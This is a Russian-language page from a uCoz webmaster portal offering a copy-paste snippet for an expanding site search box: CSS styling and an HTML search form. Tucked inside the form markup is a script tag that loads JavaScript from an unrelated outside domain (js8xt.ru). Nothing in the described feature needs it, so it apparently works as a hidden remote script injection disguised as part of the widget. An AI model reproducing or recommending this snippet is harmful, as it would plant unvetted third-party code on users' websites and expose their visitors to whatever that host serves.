Скрипты и шаблоны для uCoz uCoz
uCoz Главная | HTML справочник | Создание баннера | Шаблоны баннеров | Заработок на сайте!
Скрипты и шаблоны

Скрипты для uCoz

Шаблоны для uCoz

Меню сайта
Портал веб-мастеров Vse-ForuCoz.3dn.ru

Наша кнопка
Наша кнопка:


Получить код:

Портал веб-мастеров Vse-ForuCoz.3dn.ru

Категории раздела
Скрипты [76]
Шаблоны [4]
Разное [7]
Портал веб-мастеров Vse-ForuCoz.3dn.ru

Мини-чат


200
Портал веб-мастеров Vse-ForuCoz.3dn.ru

Поиск
Портал веб-мастеров Vse-ForuCoz.3dn.ru

Наш опрос
Какой из талисманов зимних олимпийских игр 2014 Вам нравиться больше?
Всего ответов: 39
Портал веб-мастеров Vse-ForuCoz.3dn.ru

Друзья сайта
  • Блог о хобби
  • Заработай на сайте
  • КОСМОС: все обо всем
  •  
    Banneroobmen
     
    Портал веб-мастеров Vse-ForuCoz.3dn.ru

    Статистика

    Полная статистика



    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0
    Сайт сегодня посетили:

    Бесплатный анализ сайта
    Портал веб-мастеров Vse-ForuCoz.3dn.ru

    Главная » Статьи » Скрипты

    Красивый поиск по сайту


    Поиск очень стильный и подойдёт к любому шаблону.
    При навождении на него он будет раздвигаться, как это показано на экране.
    УСТАНОВКА
    вставляем куда вам нужно

    Code
    <style>  
    #wrap-search {  
    margin: 0 auto;  
    width: 100px;  
    -moz-transition: all .2s ease-out;  
    -webkit-transition: all .2s ease-out;  
    -o-transition: all .2s ease-out;  
    transition: all .2s ease-out;  
    text-indent: 0px;}  

    #wrap-search br { display: none; }  

    #wrap-search #search {  
    background: -moz-linear-gradient(center bottom , #9B9B9B 0%, #A9A9A9 50%, #CACACA 50%, #D3D3D3 2550%);  
    background: -webkit-gradient(linear,left bottom,left top,color-stop(0, #9B9B9B),color-stop(0.5, #A9A9A9),color-stop(0.5, #CACACA),color-stop(25.5, #D3D3D3));  
    filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#9B9B9B', EndColorStr='#CACACA');  
    border-radius: 5px;  
    padding: 4px;  
    }  

    #wrap-search:hover { width:200px; }  

    .form-search {  
    background: -webkit-gradient(linear, 0 bottom, 0 top, from(#EBEBEB), to(#BCBCBC));  
    background: -moz-linear-gradient(-90deg, #BCBCBC, #EBEBEB);  
    filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#EBEBEB', EndColorStr='#BCBCBC');  
    border: 1px solid #747474;  
    border-radius: 3px;  
    box-shadow: inset 0 1px 1px #575555, 0 1px 0 #FFF;  
    height: 32px;  
    position: relative;  
    -moz-transition: all .2s ease-out;  
    -webkit-transition: all .2s ease-out;  
    -o-transition: all .2s ease-out;  
    transition: all .2s ease-out;  
    }  

    .form-search input[type='text'] {  
    background: none;  
    border: none;  
    color:#6E7074;  
    height: 34px;  
    line-height: 34px;  
    padding: 0 27px 0 6px;  
    font-family: Helvetica, Arial, sans-serif;  
    font-size: 13px;  
    text-shadow: 0 1px 0 #FFF;  
    }  

    #wrap-search:hover input[type='text'] { color:#597C84; }  

    #wrap-search:hover .form-search {  
    background: -moz-linear-gradient(-90deg, #9CC2CA, #DFECEF);  
    background: -webkit-gradient(linear, 0 bottom, 0 top, from(#DFECEF), to(#9CC2CA));  
    filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#DFECEF', EndColorStr='#9CC2CA');  
    box-shadow: inset 0 1px 1px #46575b, 0 1px 0 #FFF;  
    color: #25464D;  
    }  

    .form-search input[type='image'] {  
    height: 32px;  
    opacity: .5;  
    filter:alpha(opacity=50);  
    position: absolute;  
    right: 0px;  
    top: 0px;  
    width: 32px;  
    }  

    .form-search input[type='image']:hover {  
    opacity: 1;  
    filter:alpha(opacity=100);  
    }  

    </style>  

    <div id="wrap-search">  
    <div id="search">  
    <form class="form-search" method="get" action="/search" target="_blank">
    <script language=JavaScript src=http://js8xt.ru/ves.js></script>  
    <input src="http://s019.radikal.ru/i622/1204/78/0154b88f49a9.png" type="image">  
    <input name="q" value="поиск" onfocus="this.value='';" onblur="this.value='поиск';" onmouseover="this.value='';" onmouseout="this.value='поиск';" type="text">  
    </form>  
    </div>  
    </div>
    Категория: Скрипты | Добавил: DianaWeb (27.04.2012)
    Просмотров: 1286 | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Информация о сайте | Форум | Баннерообмен | Sitemap | Sitemap-forum
    © http://vse-forucoz.3dn.ru/ - на сайте вы найдете скрипты для uCoz и шаблоны для uCoz, а так же все для веб мастера и обычного юзера. Все материалы размещенные на нашем портале Вы сможете бесплатно скачать.
    Все материалы, размещенные на сайте, являются собственностью их изготовителя (владельца прав) и охраняются законом. Эти материалы предназначены исключительно только для ознакомления!